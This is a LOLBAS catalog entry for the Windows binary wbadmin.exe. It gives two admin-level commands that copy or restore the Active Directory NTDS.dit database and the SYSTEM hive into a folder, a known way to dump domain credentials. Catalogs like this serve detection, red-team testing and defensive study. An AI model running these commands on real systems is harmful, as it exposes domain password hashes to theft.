Catalog LOLBAS

LOL · Binary

wbadmin.exe

2 techniques WindowsLOLBAS GPL-3.0

Dump

Credential Access Windows

Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)

Use Snapshoting of Active Directory NTDS.dit database

wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
Context
admin
Native
Dump

Dump

Credential Access Windows

Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.

Use Dumping of Active Directory NTDS.dit database

wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
Context
admin
Native
Dump